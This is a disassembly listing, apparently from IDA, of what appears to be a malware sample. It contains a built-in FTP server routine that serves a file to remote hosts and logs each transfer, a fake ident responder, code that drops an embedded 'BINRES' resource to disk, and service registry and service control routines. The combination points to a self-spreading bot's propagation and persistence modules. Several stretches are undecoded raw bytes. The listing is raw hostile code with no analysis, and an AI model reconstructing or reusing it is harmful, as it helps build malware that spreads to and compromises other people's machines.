lea ecx, [esp+60h+arg_0]
mov [esp+60h+arg_1970], 0
call sub_401C5D
push eax
call sub_4015EB
add esp, 8
lea eax, [esp+58h+arg_0]
lea ecx, [esp+58h+arg_18]
push eax
call sub_4014C9
lea ecx, [esp+58h+arg_0]
mov byte ptr [esp+58h+arg_1970], 1
push ecx
lea ecx, [esp+5Ch+arg_18]
call sub_401FBE
mov edi, offset a220 ; "220 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
push 0
repne scasb
not ecx
dec ecx
push ecx
push offset a220 ; "220 \r\n"
push esi
call ebp ; send
push 0
lea edx, [esp+6Ch+arg_158]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a331 ; "331 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a331 ; "331 \r\n"
push esi
call ebp ; send
push 0
lea eax, [esp+7Ch+arg_148]
push 800h
push eax
push esi
call sub_401280
mov edi, offset a230 ; "230 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a230 ; "230 \r\n"
push esi
call ebp ; send
push 0
lea ecx, [esp+8Ch+arg_138]
push 800h
push ecx
push esi
call sub_401280
mov edi, offset a200 ; "200 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
push 0
not ecx
dec ecx
push ecx
push offset a200 ; "200 \r\n"
push esi
call ebp ; send
push 0
lea edx, [esp+9Ch+arg_128]
push 800h
push edx
push esi
call sub_401280
add esp, 10h
lea eax, [esp+98h+arg_128]
lea ecx, [esp+98h+var_C]
push eax
call sub_401861
push offset asc_443600 ; " "
lea ecx, [esp+9Ch+var_54]
push 1
push ecx
lea ecx, [esp+0A4h+var_C]
mov [esp+0A4h+arg_1930], 2
call sub_4016AE
push offset asc_4440A8 ; ","
lea edx, [esp+9Ch+arg_38]
push 0
push edx
lea ecx, [esp+0A4h+var_54]
mov [esp+0A4h+arg_1930], 3
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 4
call sub_4017E4
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_38]
mov edi, eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_4440A8 ; ","
lea eax, [esp+9Ch+arg_80]
push 1
push eax
lea ecx, [esp+0A4h+var_54]
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 5
call sub_4017E4
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_80]
mov [esp+98h+var_7C], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_4440A8 ; ","
lea ecx, [esp+9Ch+arg_8]
push 2
push ecx
lea ecx, [esp+0A4h+var_54]
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 6
call sub_4017E4
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_8]
mov [esp+98h+var_5C], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_4440A8 ; ","
lea edx, [esp+9Ch+arg_68]
push 3
push edx
lea ecx, [esp+0A4h+var_54]
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 7
call sub_4017E4
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_68]
mov [esp+98h+var_58], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_4440A8 ; ","
lea eax, [esp+9Ch+arg_20]
push 4
push eax
lea ecx, [esp+0A4h+var_54]
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 8
call sub_4017E4
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_20]
mov [esp+98h+var_88], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_4440A8 ; ","
lea ecx, [esp+9Ch+arg_50]
push 5
push ecx
lea ecx, [esp+0A4h+var_54]
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 9
call sub_4017E4
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_50]
mov [esp+98h+var_80], eax
mov [esp+98h+arg_1930], 3
call sub_401226
mov dl, byte ptr [esp+98h+var_88]
mov al, byte ptr [esp+98h+var_80]
mov ecx, [esp+98h+var_58]
mov byte ptr [esp+98h+var_68+1], dl
mov edx, [esp+98h+var_5C]
mov byte ptr [esp+98h+var_68], al
mov eax, [esp+98h+var_68]
push ecx
and eax, 0FFFFh
push edx
mov [esp+0A0h+var_88], eax
mov eax, [esp+0A0h+var_7C]
push eax
push edi
lea ecx, [esp+0A8h+arg_A8]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push ecx
nop
call sub_5EE1E5
mov edi, offset a200 ; "200 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 18h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a200 ; "200 \r\n"
push esi
call ebp ; send
push 0
lea edx, [esp+0ACh+arg_118]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a150 ; "150 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a150 ; "150 \r\n"
push esi
call ebp ; send
mov eax, [esp+0B8h+var_A8]
lea ecx, [esp+0B8h+arg_88]
push eax
push ecx
call sub_401A8C
add esp, 8
lea ecx, [esp+0B8h+var_44]
mov [esp+0B8h+var_A8], eax
push offset aRb ; "rb"
call sub_4017E4
push eax
call near ptr 77C3F010h
nop
mov edi, eax
add esp, 8
test edi, edi
mov [esp+0B8h+var_A0], edi
jz loc_41F595
cmp [esp+0B8h+var_A8], 0FFFFFFFFh
jz loc_41F595
push 2
push 0
push edi
call near ptr 77C4139Ch
nop
push edi
nop
call near ptr 77C41574h
push 0
push 0
push edi
mov [esp+0D4h+var_9C], eax
call near ptr 77C4139Ch
nop
add esp, 1Ch
loc_41F4C0: ; CODE XREF: sub_41EF30+5E1j
mov edx, [esp+0B8h+var_A0]
mov ecx, 400h
xor eax, eax
lea edi, [esp+0B8h+arg_908]
rep stosd
push edx
push 1000h
lea eax, [esp+0C0h+arg_908]
push 1
push eax
call near ptr 77C411FBh
nop
mov ecx, [esp+0C8h+var_A0]
mov edi, eax
add esp, 10h
test byte ptr [ecx+0Ch], 20h
jnz short loc_41F513
mov eax, [esp+0B8h+var_A8]
push 0
lea edx, [esp+0BCh+arg_908]
push edi
push edx
push eax
call ebp ; send
cmp edi, 1000h
jz short loc_41F4C0
loc_41F513: ; CODE XREF: sub_41EF30+5C7j
mov eax, [esp+0C8h+var_B4]
mov edx, [eax+11h]
inc edx
mov [eax+11h], edx
mov cl, byte_447DF8
test cl, cl
mov eax, edx
jz short loc_41F57C
mov edx, [esp+0C8h+var_A4+3]
mov ecx, [esp+0C8h+var_AC]
push eax
mov eax, [esp+0CCh+var_A4+2]
and edx, 0FFh
push ecx
mov ecx, [esp+0D0h+var_A4+1]
push edx
mov edx, [esp+0D4h+var_A4]
and eax, 0FFh
and ecx, 0FFh
push eax
and edx, 0FFh
push ecx
push edx
push offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total s"...
mov ecx, offset dword_447998
call sub_4014D3
push eax
push 0
push 0
push offset byte_4D60B5
call sub_401848
add esp, 2Ch
loc_41F57C: ; CODE XREF: sub_41EF30+5F8j
mov eax, [esp+0C8h+var_B0]
push eax
call near ptr 77C40AB1h
nop
mov ecx, [esp+0CCh+var_B8]
add esp, 4
push ecx
nop
call near ptr 71AB9639h
loc_41F595: ; CODE XREF: sub_41EF30+55Bj
; sub_41EF30+566j
mov edi, offset a226 ; "226 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
push 0
repne scasb
not ecx
dec ecx
push ecx
push offset a226 ; "226 \r\n"
push esi
call ebp ; send
push 0
lea edx, [esp+0E0h+arg_E4]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a221 ; "221 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a221 ; "221 \r\n"
push esi
call ebp ; send
push esi
nop
call near ptr 71AB9639h
lea ecx, [esp+0F0h+var_AC]
mov byte ptr [esp+0F0h+arg_18D8], 2
call sub_401226
lea ecx, [esp+0F0h+var_64]
mov byte ptr [esp+0F0h+arg_18D8], 1
call sub_401226
lea ecx, [esp+0F0h+var_7C]
mov byte ptr [esp+0F0h+arg_18D8], 0
call sub_401226
lea ecx, [esp+0F0h+var_94]
mov [esp+0F0h+arg_18D8], 0FFFFFFFFh
call sub_401226
mov edi, [esp+0F0h+var_DC]
loc_41F636: ; CODE XREF: sub_41EF30+109j
push 9C4h
loc_41F63B: ; CODE XREF: sub_41EF30+E8j
call near ptr 2850303h
nop
loc_41F641: ; CODE XREF: sub_41EF30+140j
mov al, byte_4E6E84
test al, al
jnz loc_41F002
pop ebp
pop ebx
loc_41F650: ; CODE XREF: sub_41EF30+BEj
mov eax, [edi+15h]
push eax
call near ptr 71AB9639h
nop
loc_41F65A: ; CODE XREF: sub_41EF30+82j
; sub_41EF30+B2j
mov ecx, [esp+0F0h+arg_18C8]
pop edi
xor eax, eax
pop esi
mov large fs:0, ecx
add esp, 19C0h
retn
sub_41EF30 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 1E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41F860 proc near ; CODE XREF: sub_401230j
var_90 = dword ptr -90h
var_8C = byte ptr -8Ch
var_7C = byte ptr -7Ch
var_78 = byte ptr -78h
var_60 = byte ptr -60h
var_48 = byte ptr -48h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41F860
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 84h
push ebx
push ebp
push esi
push 71h
call sub_40197E
add esp, 4
cmp eax, 0FFFFFFFFh
mov [esp+9Ch+var_90], eax
jnz short loc_41F89D
mov byte_4E6ED9, 0
jmp loc_41FA01
; ---------------------------------------------------------------------------
loc_41F89D: ; CODE XREF: sub_41F860+2Fj
mov cl, byte_4472BB
xor ebx, ebx
cmp cl, bl
mov byte_4E6ED9, 1
jnz loc_41F9F4
lea ecx, [esp+9Ch+var_8C]
push ecx
push eax
call sub_401FEB
mov ebp, eax
add esp, 8
cmp ebp, 0FFFFFFFFh
jz loc_41F9E7
push edi
lea ecx, [esp+0A0h+var_7C]
call sub_401424
mov [esp+0A0h+var_4], ebx
call sub_401EEC
mov esi, dword_50FABC
call esi ; rand
cdq
mov ecx, 3
push offset byte_446F70
idiv ecx
lea ecx, [esp+0A0h+var_78]
mov edi, edx
add edi, 0Ah
call sub_4015D7
cmp edi, ebx
jle short loc_41F966
loc_41F90A: ; CODE XREF: sub_41F860+104j
lea ecx, [esp+9Ch+var_60]
call sub_401424
lea edx, [esp+9Ch+var_78]
lea ecx, [esp+9Ch+var_60]
push edx
mov byte ptr [esp+0A0h], 1
call sub_401FBE
call esi ; rand
cdq
mov ecx, 1Ah
idiv ecx
lea ecx, [esp+9Ch+var_60]
add edx, 61h
push edx
call sub_4017E4
push eax
lea edx, [esp+0A4h+var_78]
push offset dword_443E84
push edx
call sub_40102D
add esp, 10h
lea ecx, [esp+9Ch+var_60]
mov [esp+9Ch], bl
call sub_401226
dec edi
jnz short loc_41F90A
loc_41F966: ; CODE XREF: sub_41F860+A8j
push 0Ah
lea ecx, [esp+0A0h+var_78]
call sub_40146F
mov [eax], bl
mov ecx, 10h
xor eax, eax
lea edi, [esp+9Ch+var_48]
rep stosd
lea ecx, [esp+9Ch+var_78]
call sub_4017E4
push eax
push 71h
call esi ; rand
cdq
mov ecx, 1770h
idiv ecx
inc edx
push edx
lea edx, [esp+0A8h+var_48]
push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n"
push edx
nop
call sub_5EE1E5
add esp, 14h
lea eax, [esp+9Ch+var_48]
push ebx
push 40h
push eax
push ebp
nop
call near ptr 71AB428Ah
mov esi, dword_50FC88
push ebp
call esi ; closesocket
lea ecx, [esp+0A0h+var_7C]
mov [esp+0A0h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0A0h+var_90]
push ecx
call esi ; closesocket
mov byte_4E6ED9, bl
pop edi
jmp short loc_41F9FE
; ---------------------------------------------------------------------------
loc_41F9E7: ; CODE XREF: sub_41F860+67j
push 7D0h
call near ptr 2850303h
nop
jmp short loc_41FA01
; ---------------------------------------------------------------------------
loc_41F9F4: ; CODE XREF: sub_41F860+4Ej
mov ebp, [esp+9Ch+var_90]
mov esi, dword_50FC88
loc_41F9FE: ; CODE XREF: sub_41F860+185j
push ebp
call esi ; closesocket
loc_41FA01: ; CODE XREF: sub_41F860+38j
; sub_41F860+192j
mov ecx, [esp+9Ch+var_C]
pop esi
pop ebp
xor eax, eax
pop ebx
mov large fs:0, ecx
add esp, 90h
retn
sub_41F860 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FA90 proc near ; CODE XREF: sub_401ABEj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
dec eax
jz short loc_41FACB
dec eax
jz short loc_41FAB4
dec eax
jnz short loc_41FAF1
mov ecx, dword_50BB68
mov dword_50BB4C, 4
call sub_401DCA
jmp short loc_41FAF1
; ---------------------------------------------------------------------------
loc_41FAB4: ; CODE XREF: sub_41FA90+8j
mov ecx, dword_50BB68
mov dword_50BB4C, 7
call sub_401028
jmp short loc_41FAF1
; ---------------------------------------------------------------------------
loc_41FACB: ; CODE XREF: sub_41FA90+5j
mov ecx, dword_50BB68
xor eax, eax
mov dword_50BB54, eax
mov dword_50BB4C, 1
mov dword_50BB5C, eax
mov dword_50BB60, eax
call sub_401744
loc_41FAF1: ; CODE XREF: sub_41FA90+Bj
; sub_41FA90+22j ...
mov eax, dword_50BB6C
push offset dword_50BB48
push eax
mov dword_50BB4C, 4
nop
call near ptr 291074Fh
retn 4
sub_41FA90 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41FB30: ; CODE XREF: ___:loc_401956j
push esi
xor esi, esi
push offset sub_401ABE
mov ecx, offset byte_44794F
mov dword_50BB48, 20h
mov dword_50BB4C, 2
mov dword_50BB50, 3
mov dword_50BB54, esi
mov dword_50BB58, esi
mov dword_50BB5C, esi
mov dword_50BB60, esi
call sub_4017E4
push eax
call near ptr 29103C3h
nop
cmp eax, esi
mov dword_50BB6C, eax
jz short loc_41FBAA
push offset dword_50BB48
push eax
mov dword_50BB4C, 4
mov dword_50BB5C, esi
mov dword_50BB60, esi
nop
call near ptr 291074Fh
loc_41FBAA: ; CODE XREF: ___:0041FB86j
pop esi
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FBD0 proc near ; CODE XREF: sub_401069j
push esi
mov esi, ecx
call sub_401E6A
mov dword ptr [esi], offset off_43E068
mov eax, esi
pop esi
retn
sub_41FBD0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FC00 proc near ; CODE XREF: sub_401CDFj
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = byte ptr -100h
sub esp, 110h
mov dword_50BB68, ecx
push 100h
mov ecx, offset byte_44794F
call sub_4017E4
push eax
lea eax, [esp+118h+var_100]
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
lea edx, [esp+110h+var_110]
lea ecx, [esp+110h+var_100]
xor eax, eax
push edx
mov [esp+114h+var_110], ecx
mov [esp+114h+var_10C], offset loc_401956
mov [esp+114h+var_108], eax
mov [esp+114h+var_104], eax
nop
call near ptr 2910000h
xor eax, eax
add esp, 110h
retn
sub_41FC00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41FC80: ; CODE XREF: ___:00401C30j
mov eax, [esp+4]
push ebx
push esi
push edi
push offset aWb ; "wb"
push eax
nop
call near ptr 77C3F010h
mov ebx, eax
add esp, 8
test ebx, ebx
jnz short loc_41FCA2
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FCA2: ; CODE XREF: ___:0041FC9Aj
mov ecx, [esp+18h]
push ecx
call near ptr 28A1C3Ah
nop
mov esi, eax
test esi, esi
jnz short loc_41FCB9
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FCB9: ; CODE XREF: ___:0041FCB1j
mov edx, [esp+14h]
push offset aBinres ; "BINRES"
and edx, 0FFFFh
push edx
push esi
nop
call near ptr 2790680h
mov edi, eax
test edi, edi
jnz short loc_41FCDC
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FCDC: ; CODE XREF: ___:0041FCD4j
push ebp
push edi
push esi
nop
call near ptr 27A0000h
push edi
push esi
mov ebp, eax
call near ptr 27A02CAh
nop
push ebp
mov esi, eax
call near ptr 27A069Bh
nop
push ebx
push esi
push 1
push eax
nop
call near ptr 77C4173Bh
push ebx
nop
call near ptr 77C40AB1h
add esp, 14h
mov al, 1
pop ebp
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FD50 proc near ; CODE XREF: sub_40187Fj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call near ptr 71AB2BF4h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_41FD78
push esi
nop
call near ptr 71AB4FD4h
test eax, eax
jnz short loc_41FD71
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41FD71: ; CODE XREF: sub_41FD50+1Aj
mov eax, [eax+0Ch]
mov ecx, [eax]
mov eax, [ecx]
loc_41FD78: ; CODE XREF: sub_41FD50+Fj
pop esi
retn
sub_41FD50 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FD90 proc near ; CODE XREF: sub_401A8Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push esi
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_41FDAE
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FDAE: ; CODE XREF: sub_41FD90+15j
mov ecx, [esp+14h+arg_4]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
nop
call near ptr 71AB2B66h
mov edx, [esp+14h+arg_0]
mov word ptr [esp+14h+var_10+2], ax
push edx
call sub_40187F
add esp, 4
mov [esp+14h+var_C], eax
lea eax, [esp+14h+var_10]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jnz short loc_41FE0A
push esi
call near ptr 71AB9639h
nop
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FE0A: ; CODE XREF: sub_41FD90+69j
mov eax, esi
pop esi
add esp, 10h
retn
sub_41FD90 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FE50 proc near ; CODE XREF: sub_40197Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
push esi
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_41FE6E
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FE6E: ; CODE XREF: sub_41FE50+15j
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
nop
call near ptr 71AB2B66h
lea edx, [esp+14h+var_10]
push 10h
push edx
push esi
mov word ptr [esp+20h+var_10+2], ax
mov [esp+20h+var_C], 0
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_41FEC0
push esi
call near ptr 71AB9639h
nop
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FEC0: ; CODE XREF: sub_41FE50+5Fj
mov eax, esi
pop esi
add esp, 10h
retn
sub_41FE50 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FEF0 proc near ; CODE XREF: sub_4012DFj
var_10 = byte ptr -10h
arg_0 = dword ptr 4
sub esp, 10h
push esi
mov esi, [esp+14h+arg_0]
push 0Ah
push esi
call near ptr 71AB88D3h
nop
cmp eax, 0FFFFFFFFh
jz short loc_41FF24
lea eax, [esp+14h+arg_0]
lea ecx, [esp+14h+var_10]
push eax
push ecx
push esi
mov [esp+20h+arg_0], 10h
nop
call near ptr 71AC1028h
cmp eax, 0FFFFFFFFh
jnz short loc_41FF27
loc_41FF24: ; CODE XREF: sub_41FEF0+14j
or eax, 0FFFFFFFFh
loc_41FF27: ; CODE XREF: sub_41FEF0+32j
pop esi
add esp, 10h
retn
sub_41FEF0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FF40 proc near ; CODE XREF: sub_401FEBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_41FF76
mov esi, [esp+8+arg_0]
push 0Ah
push esi
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jz short loc_41FF76
lea eax, [esp+8+arg_4]
mov [esp+8+arg_4], 10h
push eax
push edi
push esi
call near ptr 71AC1028h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_41FF79
loc_41FF76: ; CODE XREF: sub_41FF40+8j
; sub_41FF40+1Aj
or eax, 0FFFFFFFFh
loc_41FF79: ; CODE XREF: sub_41FF40+34j
pop edi
pop esi
retn
sub_41FF40 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41FF90 proc near ; CODE XREF: sub_4015FAj
var_1128 = dword ptr -1128h
var_1124 = byte ptr -1124h
var_1112 = byte ptr -1112h
var_1110 = dword ptr -1110h
var_110C = byte ptr -110Ch
var_1108 = byte ptr -1108h
var_1104 = byte ptr -1104h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = byte ptr 8
arg_104 = byte ptr 108h
arg_110 = byte ptr 114h
mov eax, 1114h
call sub_436840
lea eax, [esp+arg_4]
lea ecx, [esp+arg_110]
push eax
push 1000h
push ecx
mov byte ptr [esp+0Fh], 0
call sub_436FC0
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41FFC3
xor al, al
add esp, 1114h
retn
; ---------------------------------------------------------------------------
loc_41FFC3: ; CODE XREF: sub_41FF90+28j
mov eax, [esp+0Ch+var_4]
shr eax, 2
jz loc_42008D
push ebx
mov ebx, dword_50F874
push ebp
push esi
push edi
lea ebp, [esp+1Ch+arg_104]
mov [esp+1Ch+var_8], eax
loc_41FFE5: ; CODE XREF: sub_41FF90+F3j
mov edi, offset aUnknown ; "unknown"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+20h]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebp+0]
push ecx
push 0
push 411h
call ebx
mov esi, eax
test esi, esi
jz short loc_420077
lea edx, [esp+18h]
lea eax, [esp+1Ch]
push edx
push 4
push eax
push esi
call sub_436FBA
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_420070
mov edx, [esp+1144h+var_1128]
lea ecx, [esp+1144h+var_1124]
push 104h
push ecx
push edx
push esi
call sub_436FB4
; ---------------------------------------------------------------------------
db 8Bh, 84h, 24h
dd 1128h, 20244C8Dh, 0F3E85150h, 90778261h, 8508C483h
dd 500D75C0h, 95E89056h, 0C6022EFFh, 1132444h
; ---------------------------------------------------------------------------
loc_420070: ; CODE XREF: sub_41FF90+A2j
push esi
nop
call near ptr 2860000h
loc_420077: ; CODE XREF: sub_41FF90+8Cj
mov eax, dword ptr [esp+1138h+var_1124]
add ebp, 4
dec eax
mov dword ptr [esp+1138h+var_1124], eax
jnz loc_41FFE5
pop edi
pop esi
pop ebp
pop ebx
loc_42008D: ; CODE XREF: sub_41FF90+3Aj
mov al, byte ptr [esp+1128h+var_1128+3]
add esp, 1114h
retn
sub_41FF90 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4200F0 proc near ; CODE XREF: sub_4019FBj
var_490 = byte ptr -490h
var_488 = byte ptr -488h
var_482 = byte ptr -482h
var_480 = byte ptr -480h
var_478 = byte ptr -478h
var_468 = dword ptr -468h
var_464 = byte ptr -464h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_43C = byte ptr -43Ch
var_438 = byte ptr -438h
var_424 = byte ptr -424h
var_420 = byte ptr -420h
var_38 = byte ptr -38h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4200F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 44Ch
push ebx
push esi
mov esi, [esp+460h+arg_0]
lea ecx, [esp+460h+var_424]
push esi
call sub_401861
push eax
mov [esp+464h+var_4], 0
call sub_401E8D
add esp, 4
lea ecx, [esp+460h+var_424]
mov bl, al
mov [esp+460h+var_4], 0FFFFFFFFh
call sub_401226
test bl, bl
jz loc_42026A
lea ecx, [esp+460h+var_43C]
call sub_401424
push esi
lea eax, [esp+464h+var_43C]
mov ebx, 1
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
push eax
mov [esp+46Ch+var_4], ebx
mov [esp+46Ch+var_454], 0
mov [esp+46Ch+var_450], 80h
call sub_40102D
add esp, 0Ch
lea ecx, [esp+460h+var_454]
push ecx
push 20019h
push 0
lea ecx, [esp+46Ch+var_43C]
call sub_401681
push eax
push 80000002h
nop
call near ptr 2960000h
mov ecx, [esp+474h+var_468]
lea edx, [esp+474h+var_464]
lea eax, [esp+474h+var_420]
push edx
push eax
push 0
push 0
push offset aImagepath ; "ImagePath"
push ecx
call near ptr 2900000h
nop
lea edx, [esp+0Bh]
lea eax, [esp+48Ch+var_438]
push edx
push eax
lea ecx, [esp+494h+var_478]
nop
call near ptr 76081F67h
mov ecx, dword_50F9AC
mov [esp+494h+var_38], 2
mov edx, [ecx]
lea ecx, [esp+494h+var_480]
push edx
push offset asc_443B04 ; "\\"
nop
call near ptr 76085AE4h
inc eax
lea ecx, [esp+49Ch+var_488]
push eax
push 0
call near ptr 760976AFh
nop
lea ecx, [esp+4A4h+var_490]
call near ptr 7608B84Ch
nop
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 24244C8Dh, 0FE145CE8h, 58E850FFh, 90023D06h, 14244C8Dh
dd 5C249C88h, 0E8000004h, 75C6F249h, 244C8D90h, 2484C724h
dd 45Ch, 0FFFFFFFFh, 0FE0FD5E8h, 5EC38AFFh, 248C8B5Bh
dd 44Ch, 0D8964h, 81000000h, 458C4h
db 0, 0C3h
; ---------------------------------------------------------------------------
loc_42026A: ; CODE XREF: sub_4200F0+5Aj
mov ecx, [esp+460h+var_C]
pop esi
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 458h
retn
sub_4200F0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420300 proc near ; CODE XREF: sub_401E8Dj
var_1C = byte ptr -1Ch
arg_0 = dword ptr 4
sub esp, 1Ch
push ebx
push esi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
call near ptr 2920AF1h
nop
mov ebx, eax
test ebx, ebx
jnz short loc_420325
pop esi
xor al, al
pop ebx
add esp, 1Ch
retn
; ---------------------------------------------------------------------------
loc_420325: ; CODE XREF: sub_420300+1Bj
mov ecx, [esp+24h+arg_0]
push 0F01FFh
call sub_4017E4
push eax
push ebx
nop
call near ptr 28C06A0h
mov esi, eax
test esi, esi
jnz short loc_420350
push ebx
nop
call near ptr 29303B4h
pop esi
xor al, al
pop ebx
add esp, 1Ch
retn
; ---------------------------------------------------------------------------
loc_420350: ; CODE XREF: sub_420300+3Fj
push ebp
push edi
mov edi, dword_50F740
push esi
call edi
push esi
call edi
mov ebp, dword_50F73C
lea eax, [esp+2Ch+var_1C]
push eax
push 1
push esi
call ebp
push esi
call edi
lea ecx, [esp+2Ch+var_1C]
push ecx
push 1
push esi
call ebp
push esi
mov esi, dword_50F74C
call esi
push ebx
call esi
pop edi
pop ebp
pop esi
mov al, 1
pop ebx
add esp, 1Ch
retn
sub_420300 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
